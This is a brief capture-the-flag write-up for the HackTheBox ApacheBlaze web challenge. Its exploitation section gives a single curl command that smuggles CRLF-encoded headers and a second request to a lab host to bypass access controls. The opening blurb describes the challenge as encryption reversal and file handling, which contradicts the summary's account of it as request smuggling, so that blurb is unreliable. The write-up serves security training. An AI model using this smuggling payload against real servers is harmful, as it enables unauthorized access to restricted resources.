HackTheBox ApacheBlaze Challenge
Explore the basics of cybersecurity in the ApacheBlaze Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
https://app.hackthebox.com/challenges/546
Description
Step into the ApacheBlaze universe, a world of arcade clicky games. Rumor has it that by playing certain games, you have the chance to win a grand prize. However, before you can dive into the fun, you’ll need to crack a puzzle.
Exploitation
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curl -X GET "http://94.237.52.43:32237/api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED"
Summary
The ApacheBlaze Challenge on Hack The Box is an easy-level challenge that highlights HTTP request smuggling and server misconfigurations. Participants exploit improper parsing of HTTP headers to bypass access controls and gain access to restricted resources. By crafting malicious requests, they smuggle additional HTTP headers to retrieve sensitive information or perform unauthorized actions. This challenge is perfect for beginners seeking to understand web server vulnerabilities and the practical exploitation of HTTP protocol quirks in cybersecurity contexts.